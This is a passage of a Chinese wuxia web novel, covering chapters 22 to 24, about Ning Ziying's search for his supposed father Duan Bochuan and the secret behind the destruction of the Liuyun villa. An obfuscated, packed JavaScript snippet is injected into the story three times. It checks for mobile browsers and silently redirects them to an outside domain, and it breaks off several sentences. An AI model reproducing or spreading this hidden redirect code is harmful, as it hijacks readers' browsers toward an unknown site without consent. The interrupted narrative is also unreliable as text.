段泊川仍然面色平静,眼神却深不见底。 宁子盈继续说:“家母虽惯用长刀,但在一些未带兵器的紧急情况下,她也曾用过剑法。家母所用的剑法看似化用刀法,但我仔细研究,发现其中仍有一些剑法的痕迹。我原本没有在意,因为清龙帮确有一些剑术高手。直到后来有幸得见段舵主的照雪剑,我才恍然知晓,家母所用,正是流云山庄的照雪剑。” 段泊川缓缓笑了笑:“不错,令堂,确是流云山庄后人。” 宁子盈却忽然跪地,声音有些颤抖:“爹,我终于找到你了。” 段泊川顿了顿,反问道:“你怎知我是你亲生父亲?” 宁子盈见他不置可否,眼中欣喜一闪而过。 “先前我无意中得知,我娘先前与她的一个师兄情深意笃,但原先的师门生了意外,她侥幸逃脱保住性命,被清龙帮所救下。不知为何,不到半月她就和当时清龙帮内的一男子成了婚,后来……早产生下了我。我‘父亲’去世得早,这些年我娘又始终不待见我,我便斗胆猜测,是娘和她的那位‘师兄’后来生了矛盾怨恨,从而连带着不喜欢我。” “她不喜欢你?” “是,我年幼时,母亲总说,‘你像你爹一样’,我一直以来不明白她的意思。后来才知是母亲与前辈的旧事,使母亲心结难解,常年不见笑颜。” 段泊川神色微动。 宁子盈满怀期待地望着他。 “但我想,既然过去无法改变,那又何必将自己困在一隅呢?早日放下,往前看才能让彼此都舒心啊。你们之间有什么误会,有什么怨恨,都是可以解开的,不是吗?我约见前辈便是因为,我最近一直在想,若是我主动踏出这一步,或许、或许你们之间能将那些心结说开,我娘……也可以开心一些。” 段泊川沉默了片刻,而后缓缓开口:“子盈,我确是你亲生父亲。” 宁子盈惊喜万分,他有些慌张地从怀中取出一样东西,伸长手臂,将它托至段泊川眼前。 “父亲,听闻你一直在寻找《龙泉录》丢失的上半本,刚好我前些日子得到了此物,今日将它奉上,就当作孩儿的投名状罢。” 22. 孤影 段泊川上前将他扶起,接过那半本《龙泉录》,随手翻了翻,而后转向宁子盈,从头到脚细细打量着他。 宁子盈被他盯着,双手局促地攥成拳,眼睛不自然地眨了几下。 段泊川忽然慈爱地笑了笑,伸手抚上宁子盈的脸颊,缓缓摩挲着。 崔羽落在一旁看着这一切,发现段泊川的手有些颤抖,眼角不明显地跳了几下。 她低声问身边的慕惊弦:“你觉得他俩长得像吗?我怎么感觉……不是很像呢。” 慕惊弦答道:“我觉得像,都是两只眼睛一张嘴。” 崔羽落点点头:“是啊,但段泊川又承认了宁子盈是他儿子,所以……段泊川自己并不清楚,宁子盈也只是怀疑,不能确定,但他们又不去问知道这些的宁云。段泊川和宁云少有往来,这也正常,但宁子盈怀疑自己身份的时候,为何不去直接问他的母亲呢?” 段泊川的手落在宁子盈的肩上,不知为何,他先前自如的神色已然消失,取而代之的是一张喜悦与兴奋交织的面庞。他的眼中充斥着笑意,嘴角被面部肌肉拉扯着,略显僵硬地抽动,像是要在“恣意地上扬”与“隐忍地平静”中寻得平衡似的。 他深吸一口气:“好孩子。” 宁子盈的眼睛有些湿润:“爹。” 段泊川扶在宁子盈肩上的手指节有些发白,他艰难地开口:“这么多年……你我终于相认了。孩子,你……做得很好。” 宁子盈道:“爹,那你要见一见母亲吗?” 段泊川的神色白了一瞬,而后缓缓道:“你母亲么?孩子,你可知我为何要将见面的地点选在这里?” “为何?” “二十几年前,我曾与你母亲相约,在此地相见。但……我未能遵守约定,你母亲也因此恨了我这么多年。” 宁子盈看着他道:“父亲一定是有苦衷的。” 段泊川望着门外在风中左摇右晃的桃树:“是啊。” 他低低笑了几声,又重复道:“是啊……” 这二字从他口中吐出,竟有种咬牙切齿的错觉。 “不知——” 段泊川倏然变了神情,打断了他的话。 “苦衷?何人没有苦衷?你有苦衷,我有苦衷,你母亲也有苦衷,”他缓缓扬起唇角,嗓音低沉喑哑,面容竟显得有些扭曲,“世人皆苦,往事成灰,苦衷不苦衷的又有什么意义?!” 宁子盈怔然望着他,段泊川深深地喘着气,胸部剧烈起伏,浓眉与眼睫随之震颤。 “有些事,就合该被永远埋在土里,有的人,就应该当他死了!”段泊川忽然笑了一声,然后向后退了一步,又退一步,“先前的那个段泊川早就死了,先前的宁云,也已经死了!如今的我,与那些本该被埋在土里的事,一点关系都没有了!因为我早就死了!” 窗外狂风愈发凄厉,飞卷的草叶撞在窗纸上,像是要将这件屋子撕裂。 宁子盈向前移了半步,抬起手道:“爹,你怎么了?” 段泊川骤然转身,背对着他。他的肩背颤抖着,急促的喘息声于破败房间中盘桓良久。 他癫狂地笑了起来,笑声逐渐变大,宁子盈无措地看着他的背影。 “不重要了、不重要了,”段泊川嘶哑道,“是是非非的,根本不重要了!” 过了许久,他似是恢复了平静,身躯与面容不再颤动。昏暗的日光落在他凌乱的灰白头发上,宁子盈胆战心惊地看着他,却不合时宜地走了神。 他想起了第一次见段泊川的时候。 那年他八岁。 那段时间魔教猖狂妄为,武林众侠于落霞山相聚,同去围剿魔教老巢。宁云不许他去,将他锁在房子里,但他还是推开窗户,从二楼一跃而下。 八岁的他武功很是稀松,狼狈落地时他浑身酸痛,但仍翻滚起身,追随众侠而去。 他害怕被宁云发现,因此胆战心惊地躲着清龙帮的帮众。却不曾料到,他刻意保持的距离,让与宁云有仇怨的人得了可乘之机。 他被人几下撂倒,灰头土脸地趴在地上,听着那人的声音从上方响起:“把你抓回去,你猜猜你娘会不会来救你?” 他咬牙道:“不会!她根本不在意我的死活,你简直蠢透了!” 那人又说:“那更好了,我在这废了你的手脚,再把你无声无息地扔回去,你那死要面子的娘肯定会气死吧?” 他慌忙摇头。而身后人笑着拔刀,他无法反抗亦无法逃脱。 他闭上眼,感受到那冰冷的刀锋割破了他的裤腿,预想中的疼痛却没有到来。 那人被一脚踹出十几丈,然后他听见了一个带笑的声音:“也不看看自己是什么东西。” 随后他听见了一声凄厉的惨叫。 那个声音再次响起:“快滚吧,你该谢谢我只是废了你一只手,而不是要了你的命。” 宁子盈转头看向那人,但他只垂眼看着手中剑,然后纵身消失在了树林中。 他一直记得那个身影。 直到几年后,清龙帮与凌霄会在一处酒楼相聚,他又看到了那个人。那人依然意气风发,眼角眉梢不掩利剑出锋般的骄傲,于周围人的觥筹交错间,神色冷淡地喝着自己壶里的酒。 他在清龙帮一众侠士的交谈中,得知了那人名叫段泊川。 他满怀欣喜地回头,撞进了母亲幽深愤恨的眼。 …… 宁子盈看着与从前判若两人的段泊川,无声地笑了笑。 段泊川平静道:“我不是你父亲,你走吧。” 宁子盈一愣,道:“爹……” 段泊川倏然回头,神色冰冷狠厉:“你爹早就死了。” 宁子盈急切道:“那只是我的养父啊,您才是我亲生父亲,这么多年,我们终于相认,以后时间还多,我们可以一起……” “你错了。”段泊川似是压抑不住,浑身又开始细细地震颤,“我不是你的父亲,你也不是我的儿子。你只是宁云和宁恒的儿子,仅此、而已。” 宁子盈深吸一口气,张了张嘴,像是要说什么,但又克制住了。 他渐渐平静下来,目光却带了些悲伤。 段泊川盯了他片刻,忽而拂袖出了门。 崔羽落跟了出去,只见段泊川轻功掠出一段距离后,渐渐停了下来。他踉踉跄跄地走在风中,浑身止不住地颤抖。 “他是我儿子,他是我和宁云的儿子,我和阿云的……” 段泊川断断续续地重复着这些词句,忽而癫狂大笑。 他纵起轻功,身形消失在风中,笑声却被风吹得飘了很久。 崔羽落不再向前追,回到了方才的房间。 宁子盈站在原地,神色有些悲戚,轻轻勾了勾唇角,自言自语地说:“父亲,可惜你还没来得及知晓,那《龙泉录》是假的,真的《龙泉录》一直在赵之闻手上。” 他默立了许久,又缓缓迈动脚步,向房间另一边的书案走去。 椅上浮了层灰,宁子盈也不擦拭,直接坐了下来。他看了一眼案上的物品,只见笔架上挂着两根掉毛的旧笔,砚台早已不知所踪。 从怀中拿出一卷纸,他用衣袖擦了擦书案,将纸摊平放下。而后他拔出剑,在自己左手手心倏然划下。 他取下一支笔,沾了沾掌心的血,在纸上写了几个字。 崔羽落离得远,但那张纸上的字很小,她难以看清,于是她向前几步,欲看清宁子盈写了什么。 宁子盈却将笔扔到一边,站起身,拈起那张纸。 写着字的那一面对着宁子盈自己,崔羽落看不到上面的字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525511|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只得跟着宁子盈出了门,看着他提剑在院子里的桃树下掘了个小小的坑,又从怀中取出一个细长的盒子,将纸重新卷起,放进盒子里,再把盒子埋进了树下的小坑中。 将土填进坑里,宁子盈在树下默立了良久。先前的狂风竟在这段时间里渐渐宁息了下去,只余一缕缕无关痛痒的微风。 他神色平静地开口,像是在和那桃树说话。 “娘,不知道你会不会来找我呢?” 他转身离去,身影在树下显得很单薄。 崔羽落看着他的背影渐渐消失在了远处。 慕惊弦在她身后,道:“我们回去吧。” 崔羽落应了一声,下一瞬周围景象开始变幻,白天已成了黑夜。她抬眼,树上桃花灼灼,恰似当年。 慕惊弦向前一步,站在她身侧:“要不要挖一挖,看看那张纸还在不在?” 崔羽落收回目光,“嗯”了一声。 她看着慕惊弦手上泛起流光,一个沾着泥土的盒子从地下倏地浮了上来。 她伸手拿起盒子,看到开口处有一个小锁。 她轻轻一捏,那锁便断开来,盒子被她缓缓打开,里面果然放着一张纸。 她展开了它,工整细小的字铺满了整张纸卷。 而最左侧的一行血字格外醒目。这行字不同于别的字,它笔锋尽露,略显潦草,苍凉而洒脱,宛如歌者泣血的绝唱。 她微微一怔,目光移至最右,缓缓开始阅读。 “每次想写点东西的时候,都会后悔先前没有好好读书。但后来我突然想明白,很多时候,简单地说出自己的所想,比用修辞来完成一篇文章难得多。就像我小的时候听书,总是想不明白,为什么好好说几句真话能解决的事情,那些一向聪明的人却偏偏不那样做。” “我天资愚钝,不求甚解地读了几年书,仍然是什么都没懂,就像我练武一样。从小练了这么多年,每次提剑与人交手,还是会紧张得汗流浃背。我母亲每次看我练武,都会十分失落地说我天资太差,人也不机灵,只会死练把式。” “最开始我不相信,直到我去缠着那些叔叔伯伯和我过招,我才发现,我看到对面人缭乱的招式,头脑一片空白,根本想不起来学过的武功,那些本该熟悉的不能再熟悉的东西,好像忽然消失在我的头脑里了。” “我觉得是我缺少和人打斗的经验,于是开始四处找人比试,果不其然地被揍得十分狼狈。我娘看到我那个样子,总会沉着脸,让我赶紧滚回家待着,少在外丢人现眼。一开始我总会说,娘啊,我只是开窍慢了一点,你等等我,我一定会让你满意的。” “然后我拼命练功,继续找人和我比试。不知道是不是我这榆木脑袋开了窍,我渐渐发现我能打败很多人了。” “我特意在清龙帮与别人动手的时候出手,我将娘护在身后,用我的剑挡下了想伤她的人。尘埃落定后,我问我娘,我是不是有进步了,我娘却说,不够,差太远了。我问她,那句差太远了是什么意思,是和谁相比差了太远,还是和她满意的程度差了太远。” “娘只是摇摇头,然后说,江湖就是这样,强的人欺负弱的人,弱的人欺负更弱的人。我问她,我要是能变成最强的人,是不是就能让她永远不被欺负了。” “她却忽然语气很凶地呵斥我,说我天资不够,少做那些青天白日梦。” “娘心气高,瞧不上我,这很正常。但后来我就开始想,娘为什么会这样呢?我猜,会不会是因为我爹在我很小的时候就被人杀了,才让娘觉得,这江湖就是一个强者为尊的生死场。想到这个后,我便更努力地练功,即使不能让母亲满意,也能少给她丢一些脸。” “后来我发现,我遇到的大多数人,都根本不是我的对手。但母亲仍然只会对我说,不够。” 23. 绝笔 “这些年我行走江湖,看过了许多人许多事。我见过红颜化土,傲骨成灰,也见过情深转薄,执念难消。” “我便开始觉得,自己已经不再是那个缩在院子里一遍遍练剑的孩子了。山高水长,江湖浩大,我可以去任何我想去的地方,也可以手持长剑,斩尽一切阻拦在我眼前的东西。” “离家在外的那些年,败在我剑下的敌人总会抬头仰视我,求我手下留情饶他不死;萍水相逢的同龄人总会笑着夸赞我,说我少年英雄未来可期。称赞、仰望、甚至带着恐惧与恨意的求饶,都让我获得了极大的满足感。” “但回到家里,母亲仍然不会给我好脸色,甚至从未对我说过一句‘可以’。我开始想,母亲不是嫌我差,而是单纯的不喜欢我。意识到这件事后,我再回想起娘对我的挑剔和斥责,便觉得自己终于长大了。我愿意理解她,乃至于原谅她。” “但我还是心里堵,为什么一个母亲,会厌恶她的亲骨肉呢?我就想着,会不会是因为娘讨厌我爹,连带着讨厌起了我。” “我爹死得很早,我娘在那之后鲜少提起他。不过想这些的时候,我忽然想起了一些事。我小的时候偶尔会有人说,我娘刚加入清龙帮就与我爹成婚,又早产生下了我,我的亲生父亲,怕是另有其人。” “我一直以来都把那些当作屁话,但当时的我想起这些,忽然开始思考,我的亲生父亲,究竟是何人。” “我便动了念头,趁娘外出,去翻了她的房间,然后我在一个柜子深处找到了一个箱子。我破开了锁,打开箱子,发现里面果然有秘密。” “那是一把剑,上面刻着‘照雪’二字。” “除了这把剑,下面竟然有一张看上去有许多年头的纸片。纸片上的字很稚嫩青涩,与母亲后来的字大不相同。我仔细一看,发现那上面有两种字迹,显然是出自两人之手。” “一句话是‘师兄,今晚一起去看灯吗’,一句话是‘阿云想去,师兄自然会陪你一起’。” “从那时起,我便开始想,这个‘师兄’到底是什么人。” “一次练剑的时候,我蓦然想起了一个人,那就是我小时候遇到的那个潇洒剑客,凌霄会的总舵主,段泊川。” “他的剑,正是流云山庄的照雪剑。” “我便试探着问我娘,是否听说过流云山庄。我娘凶巴巴地瞪我,让我少问这种没用的东西。我不死心,又说听闻流云山庄的照雪剑绝世无双,若能领会一二,必能获益良多。不出意外地,我娘说,我资质平平,即使得了绝世剑谱又如何?” “我娘一向厌恶凌霄会,以及总舵主段泊川。于是我有了一个大胆的猜想,那就是——段泊川才是我的亲身父亲。” “那段时间《龙泉录》横空出世,我听说段泊川已拿到下半部。我想和他好好交谈,于是我想,若我能拿到上半册,或许能有和他并肩而坐的机会。既然我娘、我娘所在的清龙帮看不起我,那我不妨闯一闯,让这些人有一日能为曾经对我的轻视而后悔。” “我便再次离家远走,一路寻找《龙泉录》的下落。但很巧的是,我在一个偏僻酒馆听到有人谈论此事,于是我过去询问,那人便说,那上半本《龙泉录》在神风堂手中。” “而我那名义上的父亲,便是十几年前死在了神风堂手上。” “起初我不信,毕竟哪有那么巧的事。但我偷摸进了神风堂,却发现酒馆里那人的话不假,上半本《龙泉录》确实在神风堂里。” “我原本只想拿到《龙泉录》,但我想起了我娘。她一直说我资质一般难成大器,也一直说江湖险恶弱肉强食。我便想,既然流云山庄的覆灭和我父亲的惨死是我娘所说的‘强者为尊’所致,那我不妨做一回生杀予夺的强者,也算是为我父亲报了仇。” “那一晚神风堂火光冲天,所有人都被烧成了灰。我提剑在远处俯视着一切,手里拿着那半本《龙泉录》。” “我心知我应该继续远走高飞,但我仍然回了家,站在我娘面前,告诉她我为爹报了仇。当时的我,得意、欣喜,还带了一丝隐秘的恶意。我面带微笑看着我娘,像是在告诉她,我想做什么,就没人能拦住我。” “我娘果不其然地,又将我一顿呵斥。她说,若是因为我的所为,给清龙帮带来无妄之灾,我又该如何承担?我说那又如何,那些人都该死,至于旁人,我根本不在意。我娘怒极而笑,扇了我一耳光。” “这些年我苦练功夫,身上伤痕遍布,早就不怕疼了。但那一耳光打在脸上,火辣辣的疼,和我小时候受过的一样。” “我说,那我走,不给娘添麻烦。我娘只是冷笑,然后说,赶紧滚。” “我自然是走了。” “我给段泊川写了信,说明了我的身份。他很快给我回了信,相约在流云山庄附近的山神庙会面。我看到流云山庄四字,便心领神会,他承认了和娘的过往,也承认了与我的血脉关系。” “于是我上了路,但在这中间有段插曲。到一个名叫溪桥的荒村时,我遇到了江湖第一剑——赵之闻。赵之闻虽然武功盖世,但为人随和,于是我便去和他说话。我问他是否知晓江湖中人为争夺《龙泉录》倾轧争夺,他说他知道,而且不仅如此,他还知道那是假的。我问他为何确信,他说因为真的一直在他手上。我问他那假的如何传出,他怎知那不是另一本真的。” “他哈哈一笑,问我可曾翻开过那假秘籍。我当然看过,然后他说‘你看到那句话,难道会认为那是真的吗’。我便说那为何一本假秘籍会掀起那么大风波,他说他也不知道。” “然后我与他告别,继续前往流云山庄。但我得知了那秘籍为假后,渐渐生出了别的想法。” “我听闻段泊川这些年愈发暴戾凶残,冷漠无情,因此我便想,他真的想认我这个儿子吗?既然这么多年他都没有与我相认,也没有和我母亲解开宿怨,那我这时去见他,他大抵是别有用心。我虽未在信中说明我已拿到《龙泉录》,但神风堂被灭一事已人尽皆知,他城府深沉,想必已经猜到,于是为了这半本《龙泉录》,答应和我见面。” “不过我既知秘籍为假, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544906|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒也不惧他。我仍要去和他相会。” “若他认我,我自然愿意告知他真相,并为凌霄会效劳。若他不认,那么,这半本假的《龙泉录》,便作为一份礼物,献给我曾无数次擦肩而过的父亲吧。” “我想留下的,大概就是这些了。这些话不为谁而留,我会将它藏于某处,让这些话和那些陈年旧事一样,永远埋在土里,和我们这些人的骨肉一起。” “说到这里我又想起,我年少时没有同伴,总有些话憋在心里,不知道和谁说,于是我便喜欢把心里话写在纸上。但有一天我发现,那些纸像是被人动过,我去质问我娘,我娘冷笑一声说,你那些话没人想知道。” “但是娘啊,纸上落下的银发,你又如何解释呢?” “在那之后,我再也没有写过话,直到今日。” “那些纸早已被我一把火烧了,如今的我坐在那座曾藏匿了我无数心事的柜子旁边,和从前一样写着些不知所云的话。娘不知道我偷偷来过这里,也不会知道我在今夜远去,一去不回。” “院里桃花又开了,而那个曾在花下笨拙练剑的孩子就要走了,和他的偏执、他的不甘、他的卑劣一起。” 崔羽落目光移动,落在了最左的那行血字上—— “从此天高海阔,无处不为吾乡。” 她缓缓放下那张纸,余光扫见树上盛开的桃花。 花瓣轻摇,万籁俱寂,仿佛少年宁子盈刚刚离开。 她沉默许久,叹了口气,道:“完了。” 慕惊弦问道:“怎么就完了?” “我们是不是……有点窥探他隐私的意思?” “好像……是有一点。” 崔羽落抿了抿唇,沉吟道:“然后他去见了段泊川,段泊川没有认他。可他为何又去找了赵之闻问剑呢?” 慕惊弦想了想,道:“既是‘问’剑,那不过是想求个答案罢了。他想要的答案,大概是……自己与天才的差距吧。” 崔羽落点了点头:“朝闻道,夕死可矣。”随后她将那张纸重新卷了起来,放进有些破旧的箱子里,递到慕惊弦面前。 “埋进去吧,劳烦。” 慕惊弦笑了一声,施咒将它放入土里:“回去么?” “走吧。” 法阵又起,两人迈步走出,眼前是如水月色,静谧长街。 他们一路来到连波亭,却发现向浊和于应鸿已不见了踪迹。赵之闻盘膝而坐,若有所思,宁云同样盘膝坐着,看到二人靠近,语气嘲讽道:“赵之闻,你一向厌恶修仙之人,如今却和他们纠缠在一起。” 赵之闻回道:“修仙之人亦有善有恶,何必一棒子打死全部。” 宁云哼笑一声,转向二人:“跳大神儿跳得如何了?” 崔羽落看了看她,问道:“前辈,我有一事不明,不知当问不当问?” “什么事?” “宁子盈,是……” 宁云笑了笑,打断了她:“他以为自己是段泊川的儿子,然后就能这样与他亲近,但他不是。” 24. 暮雪 崔羽落一愣,问道:“那……另外两位前辈呢?为何走了?” 宁云答道:“事情已了,还留在这里做什么?叙旧么?” 崔羽落有些摸不着头脑,赵之闻瞥了宁云一眼,慢悠悠地说:“斯人已去,恩怨已分,来日相见,来日再说。” 崔羽落依然有些困惑,先前要打要杀的两帮人,这么一小会儿,竟然已经说开了? 宁云见她不解,便道:“纵使人死不能再生,活着的人也得付出一些代价。于应鸿已被废了武功,和先前参与埋伏的人一道,逐出凌霄会了。” 一个武功已废的人被逐出帮会,这消息传到江湖中,便相当于告诉众人:他以后的生死、恩怨、是非皆与原帮会无关。 那么先前和他有仇怨又对凌霄会十分惧怕的人,在这之后便可去寻仇了。而他武功已失,是生是死就全看造化了。 思及此处,崔羽落有些出神。 江湖人能为是非、恩仇一怒拔剑,也能为强弱、争夺以命相搏,看似玩世不恭的人或许背负着血淋淋的仇恨,看似冷心冷情的人可能怀揣着沉甸甸的道心。千万条是非道义的缝隙里,唯有性命轻如鸿毛。 ——生活在法治社会,真的挺好的。 慕惊弦看向宁云,问道:“不知前辈与段泊川前辈实为师兄妹一事,是真是假?” 宁云瞥了他一眼,缓缓道:“是真。不过他那个时候还不叫段泊川,这个名字是他离开流云山庄后开始用的。” 她语气平静地继续讲述。 “我自幼失怙,而后被流云山庄的庄主收为义女,抚养长大。段泊川的父母本是普通农户,但不知为何牵扯到了江湖上的事情,被几个人给杀了。庄主带着几人赶过去的时候,只救下了段泊川的性命,所幸当时那几人跑得不远,被流云山庄的人就地斩杀。” “然后他被庄主带回了山庄。他入门晚,若按入门时间来排的话,他还得叫我一声师姐。但我看他大我两岁,还是一直师兄师兄地叫她。因此,我和段泊川曾经确实是师兄妹。” 她停了下来,赵之闻却有些好奇地追问道:“后来流云山庄一夜之间被灭,我听说你是被清龙帮的人救了下来,但段泊川为何到了遮阳山庄那里?” 宁云没好气地答道:“你怎么不问他?” 赵之闻点点头:“是我之前忘记了。我的、我的。” 崔羽落问道:“当时流云山庄灭门,是何人所为?前辈若是不愿……” 宁云打断了她的“不愿”,而后道:“流云山庄的位置很特别,它坐落于一处山腰,而那座山实则是一处群山之其一,而且是被群山包围。所以可以说,流云山庄其实是在一个前不着村后不着店的荒郊野山上。当时除了我和段泊川以外的人都死了,我昏迷了几天,没看见是什么人,而周围又是荒山,更没人知道是谁来过。” 赵之闻道:“所以没人知道是什么人将流云山庄灭门了吗?” 宁云缓缓点了点头。 赵之闻继续问道:“既然你二人曾是师兄妹,那为何后来江湖上一直传言说你俩不和呢?” 宁云笑了笑,继续说:“江湖上还有传言说我和段泊川曾经情深意笃,后来只不过是因爱生恨了呢。” 崔羽落想起宁子盈在纸上留下的话,抬眼看向宁云,却见她看着远处,目光沉沉。 “这也不假。”宁云看了一眼地上的断剑,继续道,“我和他曾经确实情深意笃,或者可以说,离成婚就差一步了。” “当时婚书已经写好了,一些嫁妆也在路上,但比它们更先到的,是一伙黑衣人。他们在那个晚上屠尽了流云山庄的人,那时我和段泊川正好在山庄内的一处园林交谈,因此才没有和其他人一样在半梦半醒间被索了命。” “黑衣人来势汹汹,大概有二三十人,我和段泊川一路拼杀,才得以活着跑到了山下的庙里。” “但我和他已经身负重伤,到了庙里我便支撑不住,眼前一黑倒了下去,我当时对他说,流云山庄怕是只剩我们两个人了,我们一定要相互支撑,绝不抛弃和背叛,一起活下去,再一起报仇雪恨。他说他一定会一直守着我,守着流云山庄的剑,守着那些死去的人。” “然后我实在支撑不住,他说,‘支撑不住就睡一会儿吧,师兄在这呢,我给你运功疗伤,像以前那样等你醒来’。” 宁云说到这里,默了片刻,轻轻叹了口气。 “我昏了过去。过了很久,我才有了些意识。” “周围很热,也很烫。我睁开眼睛,发现山神庙不知道什么时候起了火,我一个人浑身是血地趴在火里面,周围没有任何人。我腿上受了伤,没力气站起来,但是我要活,我不能死在那里,我还得活着给山庄的人报仇。” “于是我就从庙里,一点一点地爬了出去。” “到了神庙外面,我又昏了过去。再次醒来,发现来了几个清龙帮的人,他们正在替我疗伤,我在他们的治疗之下才醒了过来。我一醒来就问他们,有没有见过一个和我年龄相仿的少年。” “他们面面相觑,说不管活的死的,都没有见到一个十几岁的少年。我便知道了,他见我受了重伤,而那些灭门的人又马上要杀进神庙,便趁我昏迷,一个人跑掉了。” “我跟着清龙帮的人离开了。过了半个月我才行动自如,而就在我第一次策马出游的时候,我听到有人说遮阳山庄的夏侯小姐和人成婚了。遮阳山庄我听说过,他们的剑与流云山庄的剑同为‘风霜雨雪’四剑之一,于是我便好奇地追问,那新郎是谁呢?” “那人说,‘这你都不知道啊?新郎名为段泊川,之前在江湖上从来没有听过这一号人,这人可真是命好,被那容冠武林的夏侯锦看上了,成了遮阳山庄的赘婿’。” “他先前的名字,叫做谢平江,因此我听到那人说的这话,没想别的。只是先前一直在那群山之中待着,从未见过外面的世界,于是便有些好奇这十分出名的夏侯小姐,究竟长什么模样。” “我便跟着清龙帮的几个人去凑热闹,然后我在那高台之上,看到了他的脸。” “我一开始以为是我眼花,或者那只是一个容貌相似的人。直到他到了筵席上,一桌一桌地给宾客敬酒。他到我坐着的那一桌的时候,我距离他不过五尺。他的容貌、身形、举手投足,我都看得一清二楚,他就是我那惜命逃跑的师兄。” “我当时问他为什么,他装作一副完全不认识我的样子。于是我便知道,我和他再也回不去了,我们之间的情分,随着山神庙的一场大火,早就灰飞烟灭了。而随着镜花水月被火焰吞掉,我看清了这个人。” 宁云神色很疲惫:“后来我还约他见过一次面,他只说,事已至此,他已成家,此后不必再见,免得他人误会。” “他说的也是,他既然已和夏侯锦成亲,我若再纠缠不清,岂不可笑?” 宁云顿了顿,转向几人,微微挑眉:“就这些了,今日萍水相逢,便不吐不快。段泊川和夏侯锦已经死了,这些话说了也就说了,反正飘不进他们的耳朵里。” 崔羽落有些懵:今天晚上的信息量有点大啊。 赵之闻似有些动容,低声道:“抛下你一个人在火里,确实值得你恨他一辈子。” 宁云却哈哈一笑:“一辈子?恨个几年就行啦,花一辈子去恨一个人,也太不值当了。” 赵之闻低笑几声:“确实。” 宁云起了身:“赵之闻,你杀了我儿子,我是一定要取你性命的,不过还不是现在。待我养好伤,再精进一下武功,便再来取你性命。” 随后她足间点地,轻盈如风地离去了。 崔羽落看着她背影消失的方向,心想:这就完了? 赵之闻却“嗐”了一声:“终于结束了。” 他起了身,问道:“姑娘,初见时,我便说你骨骼清奇,天赋异禀,想要将我这一身功夫传予你。” 崔羽落点了点头,看着他,心想:然后呢? “不过如今还不是时候。” “啊?为什么?” 赵之闻有些无奈地看着她:“现在都多晚了?你不用睡觉的吗?” “……也是。” 赵之闻打了个哈欠:“我见你印堂发青,这说明我们缘分未尽,日后定能再次相见。到那个时候我再传你功夫,如何?” 崔羽落抱拳道:“多谢前辈。” 赵之闻目光转向慕惊弦:“这位小兄弟啊,有句话不知当讲不当讲。” 慕惊弦道:“什么?” “早睡早起多运动,没事情做的话,就和这位姑娘一起练练武术吧。” “为何?” “现在那些医者,有点毛病就给开药,光喝药怎么能行呢?体质跟不上,迟早药被药闹坏啊!” “……” 赵之闻走了两步:“我也回去睡觉了,真是困死我了。江湖再见了两位。” 他轻功掠起,瞬间便出了二人视线。 不知是不是被他传染了困意,崔羽落打了个哈欠,却发现眼睛被什么东西晃了一下。放下手后她前行了几步,看到了地上断成两截的剑。 她蹲下/身,小心地拿起那柄剑。剑柄有些斑驳的划痕,剑锋却清亮锐利,孤绝无匹。 而在剑身,刻着两个有些模糊的小字。 ——“暮雪”。 她无端想起宁子盈的那句话:“可是娘啊,纸上落下的银发,你又该如何解释呢?” 她在夜色中默了许久,直到困意袭来,她方起身道:“回去吧。” 而段泊川在“暮雪”剑中留下的那封信,碎在风中,除了他自己,没人知道内容。 * 段泊川在流云山庄被灭门后的二十几年里,每次练剑,都会想起曾经和宁云一起练剑的时候。 宁云总说想要看看山外面的世界,他却觉得,只要可以和师妹一起在桃花树下练剑,他便十分满足了。 于是他总会回答:“我倒是觉得,这样就很好。” 宁云总是皱眉道:“师兄,你不想看看那江湖是什么样子的吗?” 他继续练着剑,心想:和她一起在桃树下练剑,这就是我想要的江湖。 但不曾想,他们第一次见识到传说中腥风血雨的“江湖”,是流云山庄被灭门。 那一晚,段泊川和宁云背靠彼此,生生杀出一条血路。 到了山神庙,宁云体力不支昏倒在地,段泊川搭上她的脉,却发现她竟已有身孕。 震惊之余,那群黑衣人的脚步声已经朝这边逼近。 段泊川亦受了重伤,以他一人之力,根本无力对抗那群人。 于是他悄无声息地到了另一个方向,又在那群人面前,慌慌张张地跑着。 黑衣人看了一眼他来的方向,示意同伙去那边搜,同时卸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他神色冷淡地看着他的师妹,低声说:“不必再见。” 不久后,他得知宁云与清龙帮的宁恒成了婚。他屏退下人,在院子里独自练剑。院中树影斑驳,枝繁叶茂,却没有一朵花。 他蛰伏良久,暗中培养亲信,终于在一个夜晚,血洗了遮阳山庄。 但奇怪的是,他看着一个个人倒在剑下,心中古井无波。 他本该高兴的啊。 …… 后来他一步一步向上攀升,最终成为了凌霄会总舵主。他无数次出鞘,无数次挥剑,他踩着无数人的尸体立于高位,却见底下人卑躬屈膝,他高高在上,像一个立在骸骨之上的墓碑。 他想起二十年前的流云山庄,想起那时和师妹一起练习的照雪剑,想起院子里的桃花树,想起笑意盈盈的师兄师姐。 